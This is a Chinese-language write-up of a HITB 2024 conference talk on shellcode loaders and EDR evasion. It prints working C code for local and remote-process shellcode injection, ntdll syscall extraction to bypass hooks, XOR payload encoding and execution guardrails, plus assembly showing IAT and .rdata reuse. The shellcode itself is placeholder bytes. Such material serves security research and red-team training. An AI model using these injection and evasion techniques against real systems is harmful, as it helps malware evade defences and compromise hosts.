[HITBSecConf2024 — 曼谷] COMMSEC:我的第一个也是最后一个 Shellcode 加载器
什么是 Shellcode?
Shellcode 被描述为一组注入并由被利用程序执行的指令。Shellcode 用于直接操纵被利用程序的寄存器和功能。
红队笔记中的 Cobalt Strike Shellcode
什么是 Shellcode 加载器?
Shellcode 加载程序是一种用于在目标进程中注入并运行 Shellcode 片段的程序。典型的 Shellcode 以一小段代码的形式出现,利用漏洞执行另一段代码,通常用于渗透测试、红队或实际攻击等活动。
#include "stdafx.h"
#include "Windows.h"
int main()
{
unsigned char shellcode[] = "x69x69x69x69x69x69x69x69x69x69x69x69x69x69x69";
void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
return 0;
}
加载器基础知识
-
分配内存:shellcode 加载器使用 VirtualAlloc 在目标进程中为 shellcode 分配内存。
-
复制 Shellcode:使用 memcpy 或 WriteProcessMemory 等函数将 shellcode 传输到此分配的内存。
-
执行有效载荷:最后,加载器通过创建线程或直接跳转到内存位置等技术执行有效载荷。
#include "stdafx.h"
#include "Windows.h"
int main(int argc, char *argv[])
{
unsigned char shellcode[] = "x69x69x69x69x69x69x69x69x69x69x69x69x69x69x69";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
反恶意软件扫描接口 (AMSI)
反恶意软件扫描接口 (AMSI) 是 Windows 操作系统内置的多功能安全功能,可使应用和服务与系统上安装的安全软件无缝协作。AMSI 由 Microsoft 于 2015 年推出,为安全工具提供了一种标准化方法来检查文件、内存和其他数据以检测潜在威胁。通过这样做,它有助于保护各种工作负载和应用程序免受可能危害系统的恶意软件和恶意脚本等攻击。
趋势科技检测 Windows AMSI 绕过技术
Windows 事件跟踪 (ETW)
EDR 产品可以从 Windows 操作系统中的各种来源收集信息,其中之一就是 Windows 事件跟踪 (ETW)。ETW 是一种功能强大的内核级跟踪工具,可以实时或将事件记录到日志文件中,同时记录内核和应用程序级事件。这些日志对于调试应用程序或诊断性能问题非常有用。许多 EDR 解决方案都集成了 ETW 使用者来捕获 CLR 运行时跟踪。与其他在用户级别挂接常被滥用的 Windows API 调用的检测产品不同,ATP 在内核中运行,其功能在很大程度上依赖于 ETW。
使用 Microsoft Learn 的 ETW 检测你的代码
ETW 与 AMSI
人们普遍误以为 ETW 很难在进程中绕过,因为它在内核模式下运行,而 AMSI 则在用户模式下运行。然而,这是不正确的。Microsoft .NET 运行时提供程序将 JSON 格式的日志从 .NET 运行时发送到任何订阅者,包括 Windows 操作系统或任何使用 ETW 日志的 AV/EDR 产品。这意味着 ETW 可以在进程内被绕过,就像 AMSI 一样。ETW 不依赖于字符串检测;当使用 C# 时,它会收集命名空间名称、类名和方法名等信息。在代码中重命名这些元素是绕过 ETW 的第一步。
EDR 规避技术
大多数现代安全解决方案(尤其是 EDR)都会监控进程执行、内存更改和网络活动。要绕过 EDR 检测,攻击者必须尽可能减少遥测足迹。以下是 Dobin 介绍的一些主要规避技术:
-
用户模式挂钩修补:大多数 EDR 都会挂钩 ntdll.dll 中的通用 Windows API 函数,如 NtAllocateVirtualMemory 和 NtWriteVirtualMemory。shellcode 加载器会修补这些挂钩,以防止 EDR 拦截函数调用。
RedOps 的直接系统调用与间接系统调用
...
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];
UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];
UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
...
-
内存加密:RWX 的内存区域不受支持,可能会触发 EDR 警报。加密 shellcode 的有效负载支持绕过通过 EDR 进行的内存扫描。
...
byte[] buf = new byte[69] {0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69};
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)((uint)buf[i] ^ 0xfa);
}
...
-
执行护栏:执行护栏确保 shellcode 仅在特定环境中运行,例如攻击者所针对的环境。在这方面,shellcode 可以查找特定的域名、计算机名称、用户名或已安装的软件,以确认它在实际执行之前处于正确的环境中。
...
std::string GetComputerName() {
DWORD bufferSize = MAX_COMPUTERNAME_LENGTH + 1;
char buffer[MAX_COMPUTERNAME_LENGTH + 1];
if (GetComputerNameA(buffer, &bufferSize)) {
return std::string(buffer);
} else {
DWORD error = GetLastError();
return "Error: " + std::to_string(error);
}
}
...
SuperMega 装载机
Dobin 推出了 SuperMega Loader,这是一款旨在避免 EDR 检测的概念验证加载器。SuperMega Loader 的要点:
-
使用备份内存:仅使用 AV 先前扫描过的备份内存;加载程序不会创建可疑的未备份 RWX 区域。
-
无 RWX 内存:加载程序不分配可执行 RWX 内存,而是仅分配 RW 内存并将 shellcode 写入其中;然后将内存设置为 RX。
-
最少遥测:加载器不执行直接网络连接,甚至不访问文件系统,因此执行的最少活动可能会引发/创建 EDR 解决方案检测到的遥测。
┌───────────────────┐
│ Hdr │
├───────────────────┤
│ │
│ │
├───────────────────┤
│ .text │
│ ├─────────────┐
│ │ │ VirtualAlloc RW
│ │ │
│ │ │ Copy
├───────────────────┤ │
│ .data │ │ VirtualProtect RX / RWX
│ │ │
├───────────────────┤ │ Jump
│ │ │
│ │ │
│ │ │
├───────────────────┤ │
│ Shellcode │◄────────────┘
│ │
├───────────────────┤
│ │
└───────────────────┘
The SuperMega Loader
Cordyceps 技术将 shellcode 注入提升到了一个新的水平,因为它使注入的 shellcode 看起来像任何其他合法进程。两个主要的创新点是:
-
IAT 重用:shellcode 不使用 walk 进程环境块 (PEB) 来解析函数地址,而是直接使用导入地址表 (IAT),与合法代码非常相似。
C Code:
char *dest = VirtualAlloc(NULL, 433, 0x3000, p_RW);
Assembly:
mov r9d, 4
mov r8d, 12288 ; 00003000H
mov edx, 433 ; 000001b1H
xor ecx, ecx
call QWORD PTR __imp_VirtualAlloc
Placeholder Replacement:
mov r9d, 4
mov r8d, 12288 ; 00003000H
mov edx, 433 ; 000001b1H
xor ecx, ecx
DB 0c5H, 0dbH, 0d7H, 00aH, 0ecH, 0afH ; Placeholder for IAT entry
Injecting Shellcode:
ff 15 f3 dd 0a 00 call qword ptr [rip + 0xaddf3]
Offset Calculation:
relative_offset = dest_iat_function_rva - current_instruction_rva - 6
= 0x14011D958 - 0x14006FB5F - 6 = 0x0ADDF3
Log Message:
(injector.py) Replace c5dbd70aecaf at VA 0x14006FB5F with: call to IAT at VA 0x14011D958 (VirtualAlloc)
(asmdisasm.py) [00000000] ff 15 f3 dd 0a 00 call qword ptr [rip + 0xaddf3]
-
.rdata 重用:加载器不会将数据与代码交错(这看起来很可疑),而是将 shellcode 的数据注入目标可执行文件的 .rdata 部分,使其看起来像是原始进程的一部分。
String Reference Example:
C Code:
wchar_t envVarName[] = L"USERPROFILE";
Assembly:
$SG72731 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
...
lea rcx, OFFSET FLAT:$SG72731
mov rdi, rax
mov rsi, rcx
mov ecx, 24
rep movsb
Replace Data Reference:
DB 094H, 041H, 00aH, 029H, 0f3H, 03bH, 018H ; Placeholder for .rdata data (rcx)
mov rdi, rax
mov rsi, rcx
mov ecx, 24
rep movsb
Patch the Shellcode:
lea rcx, [rip + <current-address relative offset>]
Log Messages:
Adding Data to .rdata:
(injector.py) Handling DataReuse Fixup: $SG72731 <- 94410a29f33b18
(injector.py) Add to .rdata at 0x14011EAA9 (1174185): $SG72731: USERPROFILE
Patching LEA Instruction:
(injector.py) Replace bytes 94410a29f33b18 at VA 0x14008E73E with: LEA rcx .rdata 0x14011EAA9
(asmdisasm.py) [14008e73e] 48 8d 0d 64 03 09 00 lea rcx, [rip + 0x90364]
解除系统条件限制
避开 EDR 触发器 - 使系统失去适应性,其中一个新颖的想法是 EDR 失去适应性 - 训练 EDR 系统忽略可疑行为的过程。发出几个良性内存分配和更改,这些分配和更改完全模仿实际攻击,但无害。随着时间的推移,EDR 对这种更改变得不敏感,并忽略真正的攻击。
结论
Dobin 表示,EDR 和红队多年来一直在变化。红队成员现在可以采用这些先进的战术,不断挫败防御者。虽然所有防御措施都有其缺点,但了解 EDR 是什么并尽量减少遥测可以极大地帮助防止 shellcode 加载程序出现表面上的故障。本演讲延续了始终应该保持平衡的主题——采用原始或有效的功能方法(例如内存屏蔽或执行护栏)的负担不应大于使用加载程序的风险。
资源
https://conference.hitb.org/hitbsecconf2024bkk/
https://conference.hitb.org/hitbsecconf2024bkk/speaker/dobin-rutishauser/
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://whiteknightlabs.com/2021/12/11/bypassing-etw-for-fun-and-profit
https://github.com/VirtualAlllocEx/Direct-Syscalls-vs-Indirect-Syscalls
https://github.com/chvancooten/OSEP-Code-Snippets
https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs
https://trustedsec.com/blog/execution-guardrails-no-one-likes-unintentional-exposure
https://github.com/dobin/supermega
https://blog.deeb.ch/posts/supermega
https://blog.deeb.ch/posts/exe-injection
原文始发于微信公众号(Ots安全):[HITBSecConf2024 — 曼谷] COMMSEC:我的第一个也是最后一个 Shellcode 加载器
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论